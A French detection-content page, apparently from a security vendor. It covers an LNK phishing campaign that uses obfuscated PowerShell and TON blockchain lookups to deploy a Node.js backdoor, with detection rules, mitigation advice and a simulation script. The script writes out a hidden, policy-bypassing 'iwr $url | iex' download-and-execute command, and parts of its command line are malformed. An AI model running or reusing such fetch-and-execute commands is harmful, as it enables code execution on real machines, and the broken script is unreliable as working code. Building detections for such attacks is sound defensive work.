Attaque Multi-Étapes LNK Utilise la Blockchain TON pour Délivrer une Porte Dérobée Node.js
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une attaque sophistiquée à plusieurs étapes utilise des fichiers LNK malveillants livrés par hameçonnage pour déployer une porte dérobée basée sur Node.js. Le logiciel malveillant utilise la technique EtherHiding en interrogeant la blockchain TON pour obtenir ses adresses de commande et de contrôle, ce qui facilite les mises à jour de l’infrastructure pour les opérateurs. Il utilise également des méthodes d’évasion avancées, y compris un interpréteur de machine virtuelle à code byte personnalisée et des scripts PowerShell fortement obfusqués.
Investigation
L’équipe de recherche avancée sur les menaces gérées LevelBlue a découvert la campagne via des alertes de sécurité liées à des archives ZIP et des fichiers LNK suspects. Les analystes ont désobfusqué des commandes PowerShell qui utilisaient une logique binaire et arithmétique pour reconstruire des URL malveillantes. Ils ont également examiné un interpréteur VM JavaScript personnalisé utilisé pour exécuter du bytecode chiffré et ont retracé la récupération de commande et de contrôle jusqu’à des transactions sur la blockchain TON.
Atténuation
Les organisations doivent restreindre l’exécution des fichiers LNK de sources non fiables et surveiller les comportements PowerShell suspects, en particulier les commandes impliquant une logique binaire ou des calculs d’entiers de grande taille. Un filtrage de courriel fort devrait être utilisé pour bloquer les liens malveillants, et les défenseurs doivent surveiller les installations ou exécutions non autorisées de Node.js. Restreindre l’accès aux API liées à la blockchain pour les processus inhabituels peut également perturber la récupération de commande et de contrôle.
Réponse
Si cette activité est détectée, isolez les points de terminaison affectés et terminez les processus node.exe ou PowerShell suspects immédiatement. Effectuez des analyses de mémoire pour récupérer le bytecode JavaScript déchiffré et identifier les domaines de commande et de contrôle spécifiques étant interrogés. Examinez les clés Run du registre pour détecter toute persistance non autorisée et analysez les exclusions de Windows Defender créées par le logiciel malveillant.
Flux d’Attaque
Détections
Points de persistance possibles [ASEPs – Logiciel/NTUSER Hive] (via registry_event)
Voir
PowerShell exécutant un fichier dans un répertoire suspect en utilisant la politique d’exécution bypass (via cmdline)
Voir
Exécution de binaires NodeJS à partir d’un emplacement inhabituel (via cmdline)
Voir
Appeler des méthodes .NET suspectes depuis PowerShell (via powershell)
Voir
Changements suspects dans les préférences de Windows Defender (via powershell)
Voir
Téléchargement possible de NodeJs par processus suspect (via dns_query)
Voir
Exécution obfusquée de PowerShell et Node.js via un fichier LNK [Création de processus Windows]
Voir
Exécution de la simulation
Prérequis : La phase de vérification préalable de la télémétrie et des bases doit avoir été réussie.
Raison : Cette section détaille l’exécution précise de la technique d’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou sans rapport entraîneront des erreurs de diagnostic.
-
Récit & Commandes de l’attaque : L’adversaire vise à établir une porte dérobée sur le système. Pour échapper à la détection, il utilise un fichier LNK qui exécute une commande PowerShell. Au lieu d’une URL claire, ils utilisent
-band 255and-shr 8pour manipuler de grandes valeurs entières qui, une fois traitées, reconstruisent une URL pointant vers une charge utile malveillante. Une fois la charge utile récupérée ou mise en scène, le processus PowerShell génèreprocessus node.exepour exécuter la porte dérobée basée sur JavaScript, se fondant dans l’activité légitime des développeurs sur la machine. -
Script de test de régression :
# Simulation de la chaîne d'exécution PowerShell obfusquée -> Node.js # Ce script imite les arguments de ligne de commande spécifiques requis par la règle de détection. $jsPayload = "console.log('Connexion C2 établie');" # Étape 1 : Simuler l'étape d'obfuscation PowerShell (comme cela apparaîtrait dans la ligne de commande du processus) # Dans une attaque réelle, cela correspondrait à la commande déclenchée par le fichier LNK. $simulatedPSCommand = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -band 255 -shr 8 -Command `"`$url = [Convert]::ToString([bigint]123456789); iwr `$url | iex`"" # Étape 2 : Simuler l'exécution subséquente de Node.js dans le cadre de la même chaîne # Nous utilisons Start-Process pour simuler la relation parent-enfant Start-Process "powershell.exe" -ArgumentList "-NoProfile -Command `"$simulatedPSCommand; node.exe $jsPayload`"" -
Commandes de nettoyage :
# Aucun fichier persistant n'a été créé par cette simulation, # mais nous nous assurons que tous les processus node engendrés sont terminés. Stop-Process -Name "node" -ErrorAction SilentlyContinue Stop-Process -Name "powershell" -ErrorAction SilentlyContinue